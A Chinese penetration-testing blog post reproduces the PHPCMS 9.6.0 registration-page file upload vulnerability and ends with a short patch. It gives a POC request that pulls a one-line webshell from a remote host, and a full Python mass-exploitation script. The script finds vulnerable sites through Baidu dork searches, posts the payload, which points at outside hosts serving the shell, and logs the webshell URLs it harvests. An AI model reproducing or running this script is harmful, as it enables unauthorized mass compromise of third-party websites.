【渗透测试】PHPCMS9.6.0 任意文件上传漏洞+修复方案

这个漏洞是某司的一位前辈发出来的，这里只是复现一下而已。

原文地址：https://www.t00ls.net/thread-39226-1-1.html

首先我们本地搭建一个phpcms9.6.0的环境

下载地址：http://www.mycodes.net/43/3365.htm

点击注册页面，进行抓包

在本地创建一个txt文本，写入一句话木马

POC

siteid=1&modelid=11&username=seven1&password=seven123456&email=seven@qq.com&info[content]=<img src=http://127.0.0.1/333.txt?.php#.jpg>&dosubmit=1&protocol=

修改抓包内容，添加POC

菜刀链接

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也可以用火狐插件执行POC

附上Akkuman 大牛写的批量脚本

说明：

依赖库的安装pip install requests

 # -*- coding:utf-8 -*-

 '''
 ----------------------
 Author : Akkuman
 Blog   : hacktech.cn
 ----------------------
 '''

 import requests
 from bs4 import BeautifulSoup
 # from urlparse import unquote //Python2
 # from urlparse import urlparse //Python2
 from urllib.parse import quote
 from urllib.parse import urlparse
 from random import Random

 chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'

 headers = {
     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
 }

 def parseBaidu(keyword, pagenum):
     keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='
     pnum = 0
     while pnum <= int(pagenum):
         baseURL = keywordsBaseURL + str(pnum*10)
         try:
             request = requests.get(baseURL, headers=headers)
             soup = BeautifulSoup(request.text, "html.parser")
             for a in soup.select('div.c-container > h3 > a'):
                 url = requests.get(a['href'], headers=headers, timeout=7).url
                 yield url
         except:
             yield None
         finally:
             pnum += 1

 def saveShell(shellUrl):
     with open("webShell.txt","a+") as f:
         f.write("[*]%s\n" % shellUrl)

 def main():
     data = {
         "siteid": "",
         "modelid": "",
         "username": "akkumandsad",
         "password": "",
         "email": "akkakkumafa@qq.com",
         # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt，一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt
         "info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>",
         "dosubmit": "",
         "protocol": "",
     }
     for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10):
         try:
             if crawlUrl:
                 rand_name = chars[Random().randint(0, len(chars) - 1)]
                 data["username"] = "akkuman_%s" % rand_name
                 data["email"] = "akkuman_%s@qq.com" % rand_name
                 host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname
                 url = host + "/index.php?m=member&c=index&a=register&siteid=1"
                 htmlContent = requests.post(url, data=data, timeout=10)
                 successUrl = ""
                 if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
                     successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
                     print("[*]Shell  : %s" % successUrl)
                     saveShell(successUrl)
                 if successUrl == "":
                     print("[x]Failed : Failed to getshell.")
             else:
                 continue
         except:
             print("Request Error")

 if __name__ == '__main__':
     main()

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修复方法：

打开phpcms\libs\classes\attachment.class.php

在168行代码下面添加如下代码

 if(!stripos($ext,$filename)){
     $arryfilename = explode("|", $ext);
     foreach($arryfilename as $n=>$fn){
                 if($fn){
                        $filename = $fn;
                         continue;
                 }
      }
 }